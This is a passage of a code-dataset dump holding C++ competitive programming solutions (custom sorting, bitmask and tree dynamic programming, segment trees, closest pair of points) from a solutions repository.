"461261a01780cca65f49bc0fa66762947fb9bb79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 611, "license_type": "no_license", "max_line_length": 45, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2974-Accepted-s645179.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint n, cas, m['Z' + 5];\r\nstring str, a[25];\r\n\r\n\r\nbool cmp(const string &a, const string &b) {\r\n\tfor (int i = 0; a[i] && b[i]; i++)\r\n\t\tif (a[i] != b[i]) return m[a[i]] < m[b[i]];\r\n\treturn a.size() < b.size();\r\n}\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\twhile (cin >> n && n) {\r\n\t\tcin >> str;\r\n\t\tfor (int i = 0; str[i]; i++)\r\n\t\t\tm[str[i]] = i;\r\n\t\tfor (int i = 0; i < n; i++) cin >> a[i];\r\n\t\tsort(a, a + n, cmp);\r\n\t\tcout << \"year \" << ++cas << '\\n';\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tcout << a[i] << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35453251004219055, "alphanum_fraction": 0.37256762385368347, "avg_line_length": 20.655914306640625, "blob_id": "d2a8932078aff1fd7d2e07285f800ba3ba09698c", "content_id": "184d9c87e35215b894e3a9d24722af05b07d34a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2107, "license_type": "no_license", "max_line_length": 73, "num_lines": 93, "path": "/COJ/eliogovea-cojAC/eliogovea-p3750-Accepted-s1042046.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 1e9;\r\n\r\nvector <int> getPrimes(int limit) {\r\n\tvector <bool> sieve(limit);\r\n\tsieve[0] = sieve[1] = true;\r\n\tfor (int i = 2; i * i <= limit; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tfor (int j = i * i; j <= limit; j += i) {\r\n\t\t\t\tsieve[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvector <int> res;\r\n\tfor (int i = 2; i <= limit; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tres.push_back(i);\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\t//ios::sync_with_stdio(false);\r\n\t//cin.tie(0);\r\n\r\n\tconst int N = 40;\r\n\r\n\tvector <int> p = getPrimes(N);\r\n\r\n\tvector <int> mask(N);\r\n\tfor (int i = 2; i < N; i++) {\r\n\t\tfor (int j = 0; j < p.size(); j++) {\r\n\t\t\tif (i % p[j] == 0) {\r\n\t\t\t\tmask[i] |= (1 << j);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tint n;\r\n\tint cas = 1;\r\n\twhile (cin >> n) {\r\n\t\tif (n == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tvector <int> v(n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> v[i];\r\n\t\t}\r\n\t\tvector <vector <int> > dp(n + 1, vector <int> (1 << p.size(), INF));\r\n\t\tvector <vector <int> > trace(n + 1, vector <int> (1 << p.size(), INF));\r\n\t\tdp[0][0] = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfor (int m = 0; m < (1 << p.size()); m++) {\r\n\t\t\t\tif (dp[i][m] != INF) {\r\n //cerr << i << \" \" << m << \" \" << dp[i][m] << \"\\n\";\r\n\t\t\t\t\tfor (int x = 1; x < N; x++) {\r\n //cerr << \" \" << x << \" \" << mask[x] << \"\\n\";\r\n\t\t\t\t\t\tif (!(m & mask[x])) {\r\n\t\t\t\t\t\t\tif (dp[i][m] + abs(v[i] - x) < dp[i + 1][m | mask[x]]) {\r\n\t\t\t\t\t\t\t\tdp[i + 1][m | mask[x]] = dp[i][m] + abs(v[i] - x);\r\n\t\t\t\t\t\t\t\ttrace[i + 1][m | mask[x]] = x;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tint bestM = -1;\r\n\t\tfor (int m = 0; m < (1 << p.size()); m++) {\r\n //cerr << m << \" \" << dp[n][m] << \"\\n\";\r\n\t\t\tif (bestM == -1 || dp[n][m] < dp[n][bestM]) {\r\n\t\t\t\tbestM = m;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tvector <int> ans(n);\r\n\t\tfor (int i = n; i > 0; i--) {\r\n //cerr << i << \" \" << bestM << \"\\n\";\r\n\t\t\tans[i - 1] = trace[i][bestM];\r\n\t\t\tbestM ^= mask[trace[i][bestM]];\r\n\t\t}\r\n\t\tassert(bestM == 0);\r\n\t\tcout << \"Case #\" << cas++ << \":\";\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcout << \" \" << ans[i];\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3860520124435425, "alphanum_fraction": 0.4094562530517578, "avg_line_length": 15.785714149475098, "blob_id": "4addfdc89f8844303b4d714b46dd4959ec42b40a", "content_id": "27f8ec4cde41990b246dffc0263de210a19136e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4230, "license_type": "no_license", "max_line_length": 78, "num_lines": 252, "path": "/TOJ/3488.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\n// Name : test.cpp\n// Author : eliogovea\n// Version :\n// Copyright : Your copyright notice\n// Description : Hello World in C++, Ansi-style\n//============================================================================\n\n// 3485. Counting Subsequences\n\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint tc, n;\nlong long x, y, ans;\n\npriority_queue<long long, vector<long long>, greater<long long> > q;\n\nint main() {\n\tcin >> tc;\n\twhile (tc--) {\n\t\tcin >> n;\n\t\tans = 0;\n\t\twhile (!q.empty()) {\n\t\t\tq.pop();\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> x;\n\t\t\tq.push(x);\n\t\t}\n\n\t\twhile (q.size() > 1) {\n\t\t\tx = q.top();\n\t\t\tq.pop();\n\t\t\ty = q.top();\n\t\t\tq.pop();\n\t\t\tans += x + y;\n\t\t\tq.push(x + y);\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n/*\nint tc;\nstring a, b, c;\nbool dp[205][205];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> tc;\n\tfor (int cas = 1; cas <= tc; cas++) {\n\t\tcin >> a >> b >> c;\n\t\tfor (int i = 0; i <= a.size(); i++) {\n\t\t\tfor (int j = 0; j <= b.size(); j++) {\n\t\t\t\tdp[i][j] = false;\n\t\t\t}\n\t\t}\n\t\tdp[0][0] = true;\n\t\tfor (int i = 0; i <= a.size(); i++) {\n\t\t\tfor (int j = 0; j <= b.size(); j++) {\n\t\t\t\tif (dp[i][j]) {\n\t\t\t\t\tif (i < a.size() && a[i] == c[i + j]) {\n\t\t\t\t\t\tdp[i + 1][j] = true;\n\t\t\t\t\t}\n\t\t\t\t\tif (j < b.size() && b[j] == c[i + j]) {\n\t\t\t\t\t\tdp[i][j + 1] = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcout << \"Data set \" << cas << \": \";\n\t\tcout << (dp[a.size()][b.size()] ? \"yes\" : \"no\") << \"\\n\";\n\t}\n\n}\n*/\n/*\nint tc, n, m;\ndouble p[105][605];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> tc;\n\tcout.precision(2);\n\twhile (tc--) {\n\t\tcin >> n >> m;\n\t\tfor (int i = 0; i <= n; i++) {\n\t\t\tfor (int j = 0; j <= 6 * n; j++) {\n\t\t\t\tp[i][i] = 0.0;\n\t\t\t}\n\t\t}\n\t\tp[0][0] = 1.0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tfor (int j = 0; j <= 6 * i; j++) {\n\t\t\t\tfor (int k = 1; k <= 6; k++) {\n\t\t\t\t\tp[i + 1][j + k] += p[i][j] * 1.0 / 6.0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdouble ans = p[n][m];\n\t\tcout << fixed << ans << \"\\n\";\n\t}\n}\n\n*/\n\n\n/*\n * broken keyboard\nint n;\nstring s, ss;\nint cnt[1000], tot, ans;\n\nint main() {\n\t//ios::sync_with_stdio(false);\n\t//cin.tie(0);\n\twhile (true) {\n\t\tgetline(cin, s);\n\t\t//cout << s << \"\\n\";\n\t\tn = 0;\n\t\tfor (int i = 0; i < s.size(); i++) {\n\t\t\tn = 10 * n + s[i] - '0';\n\t\t}\n\t\tif (n == 0) {\n\t\t\treturn 0;\n\t\t}\n\t\tgetline(cin, s);\n\t\t//cout << s << \"\\n\";\n\t\tans = tot = 0;\n\t\tfor (int i = 0; i < 256; i++) {\n\t\t\tcnt[i] = 0;\n\t\t}\n\t\tfor (int i = 0, j = 0; i < s.size(); i++) {\n\t\t\tif (cnt[s[i]] == 0) {\n\t\t\t\ttot++;\n\t\t\t}\n\t\t\tcnt[s[i]]--;\n\t\t\twhile (tot > n) {\n\t\t\t\tif (cnt[s[j]] == 1) {\n\t\t\t\t\ttot--;\n\t\t\t\t}\n\t\t\t\tcnt[s[j]]--;\n\t\t\t}\n\t\t\tif (tot <= n && ans < i - j + 1) {\n\t\t\t\tans = i - j + 1;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}*/\n\n\n/*\n * Underground Cables\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct edge {\n\tint a, b;\n\tdouble c;\n\tedge(int aa, int bb, double cc) : a(aa), b(bb), c(cc) {}\n};\n\nbool operator < (const edge &a, const edge &b) {\n\treturn a.c < b.c;\n}\n\nvector<edge> E;\n\nint p[1005];\ndouble ans;\n\nint find(int x) {\n\tif (x != p[x]) {\n\t\tp[x] = find(p[x]);\n\t}\n\treturn p[x];\n}\n\nbool join(int x, int y) {\n\tx = find(x);\n\ty = find(y);\n\tif (x == y) {\n\t\treturn false;\n\t}\n\tp[x] = y;\n\treturn true;\n}\n\nint tc, n;\ndouble x[1005], y[1005];\n\ndouble dist(int i, int j) {\n\tdouble dx = x[i] - x[j];\n\tdouble dy = y[i] - y[j];\n\treturn sqrt(dx * dx + dy * dy);\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(2);\n\twhile (cin >> n && n) {\n\t\tE.clear();\n\t\tans = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> x[i] >> y[i];\n\t\t\tfor (int j = 0; j < i; j++) {\n\t\t\t\tE.push_back(edge(i, j, dist(i, j)));\n\t\t\t}\n\t\t\tp[i] = i;\n\t\t}\n\t\tsort(E.begin(), E.end());\n\t\tfor (int i = 0; i < E.size(); i++) {\n\t\t\tif (join(E[i].a, E[i].b)) {\n\t\t\t\tans += (double)E[i].c;\n\t\t\t}\n\t\t}\n\t\tcout << fixed << ans << \"\\n\";\n\t}\n}*/\n\n/*\n *\n * zipper\nint tc;\nstring a, b, c, s1, s2;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> tc;\n\tfor (int ca = 1; ca <= tc; ca++) {\n\t\tcin >> a >> b >> c;\n\t\tint i, j, k;\n\t\tfor (i = 0, j = 0, k = 0; i < c.size(); i++) {\n\t\t\tif (a[j] == c[i]) {\n\t\t\t\tj++;\n\t\t\t} else if (b[k] == c[i]) {\n\t\t\t\tk++;\n\t\t\t}\n\t\t}\n\t\tcout << \"Data set \" << ca << \": \";\n\t\tcout << ((j == a.size() && k == b.size()) ? \"yes\" : \"no\") << \"\\n\";\n\t}\n}*/\n" }, { "alpha_fraction": 0.43414634466171265, "alphanum_fraction": 0.44756096601486206, "avg_line_length": 19.298702239990234, "blob_id": "1434bb0ba2759fe95b00ed73c76895bdf17cf8e4", "content_id": "b689fd59ac22ff7f668d32a0e8f6cb32b0621dc3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1640, "license_type": "no_license", "max_line_length": 75, "num_lines": 77, "path": "/COJ/eliogovea-cojAC/eliogovea-p3655-Accepted-s959259.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct pt {\r\n\tdouble x, y;\r\n};\r\n\r\nbool operator < (const pt &a, const pt &b) {\r\n\tif (a.y != b.y) {\r\n\t\treturn a.y < b.y;\r\n\t}\r\n\treturn a.x < b.x;\r\n}\r\n\r\nbool cmp_x(const pt &a, const pt &b) {\r\n\tif (a.x != b.x) {\r\n\t\treturn a.x < b.x;\r\n\t}\r\n\treturn a.y < b.y;\r\n}\r\n\r\ninline double dist(const pt &a, const pt &b) {\r\n\tdouble dx = a.x - b.x;\r\n\tdouble dy = a.y - b.y;\r\n\treturn sqrt(dx * dx + dy * dy);\r\n}\r\n\r\nconst int N = 100005;\r\n\r\nint t, n;\r\npt pts[N];\r\nset <pt> box;\r\nset <pt>::iterator it;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> pts[i].x >> pts[i].y;\r\n\t\t}\r\n\t\tsort(pts, pts + n, cmp_x);\r\n\t\tbool ok = true;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tif (pts[i].x == pts[i - 1].x && pts[i].y == pts[i - 1].y) {\r\n\t\t\t\tok = false;\r\n\t\t\t}\r\n \t\t}\r\n\t\tif (!ok) {\r\n\t\t\tcout << \"0\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tdouble ans = dist(pts[0], pts[1]);\r\n\t\tbox.clear();\r\n\t\tbox.insert(pts[0]);\r\n\t\tfor (int i = 1, last = 0; i < n; i++) {\r\n\t\t\twhile (last < i && (double)pts[i].x - (double)pts[last].x > ans) {\r\n\t\t\t\tbox.erase(pts[last++]);\r\n\t\t\t}\r\n\t\t\t//cout << \"---- \" << pts[i].x << \" \" << pts[i].y << \"\\n\";\r\n\t\t\tset <pt>::iterator lo = box.lower_bound((pt) {-1e9, pts[i].y - ans});\r\n\t\t\tset <pt>::iterator hi = box.upper_bound((pt) {1e9, pts[i].y + ans + 1});\r\n\t\t\tfor (it = lo; it != hi; it++) {\r\n\t\t\t\t//cout << \" \" << it->x << \" \" << it->y << \"\\n\";\r\n\t\t\t\tans = min(ans, dist(pts[i], *it));\r\n\t\t\t}\r\n\t\t\tbox.insert(pts[i]);\r\n\t\t}\r\n\t\t//cout << \"\\n\";\r\n\t\tlong long val = ans;\r\n\t\t//cout << ans << \"\\n\";\r\n\t\tcout << val << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3838447034358978, "alphanum_fraction": 0.40200376510620117, "avg_line_length": 19.013158798217773, "blob_id": "2a8fbc2723b5b84872515096189c9c4eba4729f1", "content_id": "ba3b36013e182bcdeb3321d80ceb4220da790ced", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1597, "license_type": "no_license", "max_line_length": 69, "num_lines": 76, "path": "/COJ/eliogovea-cojAC/eliogovea-p2376-Accepted-s1022846.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n;\r\n\tcin >> n;\r\n\tvector <int> v(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> v[i];\r\n\t}\r\n\tvector <int> s(n);\r\n\tint t = 0;\r\n\tvector <int> r(n, n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\twhile (t > 0 && v[s[t - 1]] > v[i]) {\r\n\t\t\tr[s[t - 1]] = i;\r\n\t\t\tt--;\r\n\t\t}\r\n\t\ts[t++] = i;\r\n\t}\r\n\tvector <int> l(n, -1);\r\n\tt = 0;\r\n\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\twhile (t > 0 && v[s[t - 1]] > v[i]) {\r\n\t\t\tl[s[t - 1]] = i;\r\n\t\t\tt--;\r\n\t\t}\r\n\t\ts[t++] = i;\r\n\t}\r\n\tvector <int> R(n, n);\r\n\tt = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\twhile (t > 0 && v[s[t - 1]] < v[i]) {\r\n\t\t\tR[s[t - 1]] = i;\r\n\t\t\tt--;\r\n\t\t}\r\n\t\ts[t++] = i;\r\n\t}\r\n\tvector <int> L(n, -1);\r\n\tt = 0;\r\n\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\twhile (t > 0 && v[s[t - 1]] < v[i]) {\r\n\t\t\tL[s[t - 1]] = i;\r\n\t\t\tt--;\r\n\t\t}\r\n\t\ts[t++] = i;\r\n\t}\r\n\tmap <pair <int, int>, int> last;\r\n\tmap <pair <int, int>, int> :: iterator it;\r\n\tlong long ans = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tlong long ll = L[i];\r\n\t\tlong long rr = R[i];\r\n\t\tit = last.find(make_pair(L[i], R[i]));\r\n\t\tif (it != last.end()) {\r\n\t\t\tll = it->second;\r\n\t\t}\r\n\t\tlast[make_pair(L[i], R[i])] = i;\r\n\t\tans += (long long)v[i] * (rr - (long long)i) * ((long long)i - ll);\r\n\t}\r\n\tlast.clear();\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tlong long ll = l[i];\r\n\t\tlong long rr = r[i];\r\n\t\tit = last.find(make_pair(l[i], r[i]));\r\n\t\tif (it != last.end()) {\r\n\t\t\tll = it->second;\r\n\t\t}\r\n\t\tlast[make_pair(l[i], r[i])] = i;\r\n\t\tans -= (long long)v[i] * (rr - (long long)i) * ((long long)i - ll);\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.38185253739356995, "alphanum_fraction": 0.4310019016265869, "avg_line_length": 24.450000762939453, "blob_id": "aa45ae3d2d9e6249c30ffcd7d891f1424e955bbf", "content_id": "c25b798d2ef1f83b13c97278d2f26919402bae42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 529, "license_type": "no_license", "max_line_length": 58, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2850-Accepted-s615497.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000003, MAXN = 1000;\r\n\r\nll c[MAXN + 5][MAXN + 5], sol[MAXN + 5], n;\r\n\r\nint main() {\r\n\tfor (int i = 0; i <= MAXN; i++)\r\n\t\tc[i][0] = c[i][i] = 1ll;\r\n\tfor (int i = 2; i <= MAXN; i++)\r\n\t\tfor (int j = 1; j < i; j++)\r\n\t\t\tc[i][j] = (c[i - 1][j - 1] + c[i - 1][j]) % mod;\r\n\tsol[0] = 1ll;\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\tfor (int j = 1; j <= i; j++)\r\n\t\t\tsol[i] = (sol[i] + (c[i][j] * sol[i - j]) % mod) % mod;\r\n\twhile (scanf(\"%d\", &n) && n) printf(\"%lld\\n\", sol[n]);\r\n}\r\n" }, { "alpha_fraction": 0.40235909819602966, "alphanum_fraction": 0.44986894726753235, "avg_line_length": 15.769230842590332, "blob_id": "7fb0f10a8c4ac96f6b59fb27fef0ea32c7bf4689", "content_id": "16e280d841dadf0c017fcdf9201d47fe1dcf65c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3052, "license_type": "no_license", "max_line_length": 64, "num_lines": 182, "path": "/SPOJ/LGLOVE.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int MOD = 1000 * 1000 * 1000 + 7;\n \ninline void add(int &a, int b) {\n\ta += b;\n\tif (a >= MOD) {\n\t\ta -= MOD;\n\t}\n}\n \ninline int mul(int a, int b) {\n\treturn (long long)a * b % MOD;\n}\n \ninline int power(int x, int n) {\n\tint res = 1;\n\twhile (n) {\n\t\tif (n & 1) {\n\t\t\tres = mul(res, x);\n\t\t}\n\t\tx = mul(x, x);\n\t\tn >>= 1;\n\t}\n\treturn res;\n}\n \nconst int N = 300 * 1000 + 10;\n \nint lp[N];\nint cp[N];\nint val[N];\n \nconst int SIZE = 100 * 1000 + 10;\n \nint n, m;\nint a[SIZE];\n \nint maxVal[4 * SIZE];\nint minVal[4 * SIZE];\n \nint toAdd[4 * SIZE];\n \ninline void build(int x, int l, int r) {\n\ttoAdd[x] = 0;\n\tif (l == r) {\n\t\tmaxVal[x] = minVal[x] = a[l];\n\t} else {\n\t\tint mid = (l + r) >> 1;\n\t\tbuild(2 * x, l, mid);\n\t\tbuild(2 * x + 1, mid + 1, r);\n\t\tminVal[x] = min(minVal[2 * x], minVal[2 * x + 1]);\n\t\tmaxVal[x] = max(maxVal[2 * x], maxVal[2 * x + 1]);\n\t}\n}\n \ninline void push(int x, int l, int r) {\n\tif (toAdd[x] != 0) {\n\t\tminVal[x] += toAdd[x];\n\t\tmaxVal[x] += toAdd[x];\n\t\tif (l != r) {\n\t\t\tint mid = (l + r) >> 1;\n\t\t\ttoAdd[2 * x] += toAdd[x];\n\t\t\ttoAdd[2 * x + 1] += toAdd[x];\n\t\t}\n\t\ttoAdd[x] = 0;\n\t}\n}\n \ninline void update(int x, int l, int r, int ul, int ur, int v) {\n\tpush(x, l, r);\n\tif (l > ur || r < ul) {\n\t\treturn;\n\t}\n\tif (ul <= l && r <= ur) {\n\t\ttoAdd[x] = v;\n\t\tpush(x, l, r);\n\t} else {\n\t\tint mid = (l + r) >> 1;\n\t\tupdate(2 * x, l, mid, ul, ur, v);\n\t\tupdate(2 * x + 1, mid + 1, r, ul, ur, v);\n\t\tminVal[x] = min(minVal[2 * x], minVal[2 * x + 1]);\n\t\tmaxVal[x] = max(maxVal[2 * x], maxVal[2 * x + 1]);\n\t}\n}\n \nconst int INF = 1e8;\n \ninline int getMin(int x, int l, int r, int ql, int qr) {\n\tpush(x, l, r);\n\tif (l > qr || r < ql) {\n\t\treturn INF;\n\t}\n\tif (ql <= l && r <= qr) {\n\t\treturn minVal[x];\n\t}\n\tint mid = (l + r) >> 1;\n\tint q1 = getMin(2 * x, l, mid, ql, qr);\n\tint q2 = getMin(2 * x + 1, mid + 1, r, ql, qr);\n\treturn min(q1, q2);\n}\n \ninline int getMax(int x, int l, int r, int ql, int qr) {\n\tpush(x, l, r);\n\tif (l > qr || r < ql) {\n\t\treturn 0;\n\t}\n\tif (ql <= l && r <= qr) {\n\t\treturn maxVal[x];\n\t}\n\tint mid = (l + r) >> 1;\n\tint q1 = getMax(2 * x, l, mid, ql, qr);\n\tint q2 = getMax(2 * x + 1, mid + 1, r, ql, qr);\n\treturn max(q1, q2);\n}\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n \n\tcp[0] = 0;\n\tcp[1] = 0;\n\tfor (int i = 2; i < N; i++) {\n\t\tif (!cp[i]) {\n\t\t\tfor (int j = i; j < N; j += i) {\n\t\t\t\tlp[j] = i;\n\t\t\t\tcp[j]++;\n\t\t\t}\n\t\t}\n\t}\n \n\tval[0] = 0;\n\tval[1] = 1;\n\tfor (int i = 2; i < N; i++) {\n\t\tval[i] = val[i - 1];\n\t\tif (cp[i] == 1) {\n\t\t\tif (lp[i] != i) {\n\t\t\t\tval[i] = mul(val[i], power(i / lp[i], MOD - 2));\n\t\t\t}\n\t\t\tval[i] = mul(val[i], i);\n\t\t}\n\t}\n \n\tcin >> n >> m;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> a[i];\n\t}\n \n\tbuild(1, 0, n - 1);\n \n\tint a, b, c, d;\n\twhile (m--) {\n\t\tcin >> a;\n\t\tif (a == 0) {\n\t\t\tcin >> b >> c >> d;\n\t\t\tupdate(1, 0, n - 1, b, c, d);\n\t\t} else if (a == 1) {\n\t\t\tcin >> b >> c;\n\t\t\tcout << val[getMax(1, 0, n - 1, b, c)] << \"\\n\";\n\t\t} else {\n\t\t\tcin >> b >> c;\n\t\t\tcout << val[getMin(1, 0, n - 1, b, c)] << \"\\n\";\n\t\t}\n\t}\n}\n \n/*\n5 5\n4 1 3 6 2\n1 2 4\n2 1 3\n0 0 3 2\n1 1 2\n2 2 4\n \n60\n1\n60\n2\n*/\n" }, { "alpha_fraction": 0.2938005328178406, "alphanum_fraction": 0.31105121970176697, "avg_line_length": 18.163043975830078, "blob_id": "77a1cad6eceaa7f48c9602e4fb1a0565ffef807b", "content_id": "de73a144d3182b1eba2de3a9534e3042e57d7da5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1855, "license_type": "no_license", "max_line_length": 56, "num_lines": 92, "path": "/COJ/eliogovea-cojAC/eliogovea-p3386-Accepted-s921386.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 50005;\r\nconst int E = 55;\r\n\r\nint n, e;\r\nint d[E][E];\r\n\r\nint ef[N];\r\n\r\nvector <int> g[N];\r\n\r\nlong long dp[E][N];\r\n\r\nlong long calc(int u, int p, int t) {\r\n if (dp[t][u] != -1) {\r\n return dp[t][u];\r\n }\r\n long long res = 0;\r\n for (int i = 0; i < g[u].size(); i++) {\r\n int v = g[u][i];\r\n if (v == p) {\r\n continue;\r\n }\r\n if (ef[v] != 0) {\r\n res += d[t][ef[v]] + calc(v, u, ef[v]);\r\n } else {\r\n long long val = -1;\r\n for (int j = 1; j <= e; j++) {\r\n long long tmp = calc(v, u, j) + d[t][j];\r\n if (val == -1 || tmp < val) {\r\n val = tmp;\r\n }\r\n }\r\n res += val;\r\n }\r\n\r\n }\r\n dp[t][u] = res;\r\n return res;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n cin >> n >> e;\r\n\r\n for (int i = 1; i <= e; i++) {\r\n for (int j = 1; j <= e; j++) {\r\n cin >> d[i][j];\r\n }\r\n }\r\n\r\n for (int i = 1; i <= e; i++) {\r\n int x, y;\r\n cin >> x;\r\n while (x--) {\r\n cin >> y;\r\n ef[y] = i;\r\n }\r\n }\r\n\r\n for (int i = 1, x, y; i < n; i++) {\r\n cin >> x >> y;\r\n g[x].push_back(y);\r\n g[y].push_back(x);\r\n }\r\n\r\n for (int i = 1; i <= n; i++) {\r\n for (int j = 1; j <= e; j++) {\r\n dp[j][i] = -1;\r\n }\r\n }\r\n long long ans = -1;\r\n\r\n if (ef[1] != 0) {\r\n ans = calc(1, 1, ef[1]);\r\n } else {\r\n for (int i = 1; i <= e; i++) {\r\n long long best = calc(1, 1, i);\r\n if (ans == -1 || best < ans) {\r\n ans = best;\r\n }\r\n }\r\n }\r\n cout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3072870969772339, "alphanum_fraction": 0.33362600207328796, "avg_line_length": 21.72916603088379, "blob_id": "8edaabc2f593f91dda7a7729fd3586ea659a4746", "content_id": "d6308175583f049502a4d7906864d5548d996bf5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1139, "license_type": "no_license", "max_line_length": 51, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p3567-Accepted-s926661.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 1e8;\r\n\r\nint n, k;\r\nint x[25], y[25];\r\n\r\nint cnt[1 << 17];\r\nint dp[1 << 17];\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n cin >> k >> n;\r\n for (int i = 0; i < n; i++) {\r\n cin >> x[i] >> y[i];\r\n }\r\n for (int i = 0; i < (1 << n); i++) {\r\n dp[i] = INF;\r\n }\r\n for (int i = 1; i < (1 << n); i++) {\r\n cnt[i] = 0;\r\n int maxx = -INF;\r\n int maxy = -INF;\r\n int minx = INF;\r\n int miny = INF;\r\n for (int j = 0; j < n; j++) {\r\n if (i & (1 << j)) {\r\n maxx = max(maxx, x[j] + k);\r\n minx = min(minx, x[j] - k);\r\n maxy = max(maxy, y[j] + k);\r\n miny = min(miny, y[j] - k);\r\n }\r\n }\r\n cnt[i] = 2 * (maxx - minx + maxy - miny);\r\n }\r\n\r\n dp[0] = 0;\r\n for (int i = 1; i < (1 << n); i++) {\r\n for (int j = i; j > 0; j = (j - 1) & i) {\r\n dp[i] = min(dp[i], dp[i ^ j] + cnt[j]);\r\n }\r\n }\r\n cout << dp[(1 << n) - 1] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4548611044883728, "alphanum_fraction": 0.4756944477558136, "avg_line_length": 12.399999618530273, "blob_id": "41d4228f9504e5ff12087b11484d55845c9c242a", "content_id": "d4908a982841cac8aacaf9483b732e5d0a0035bc", 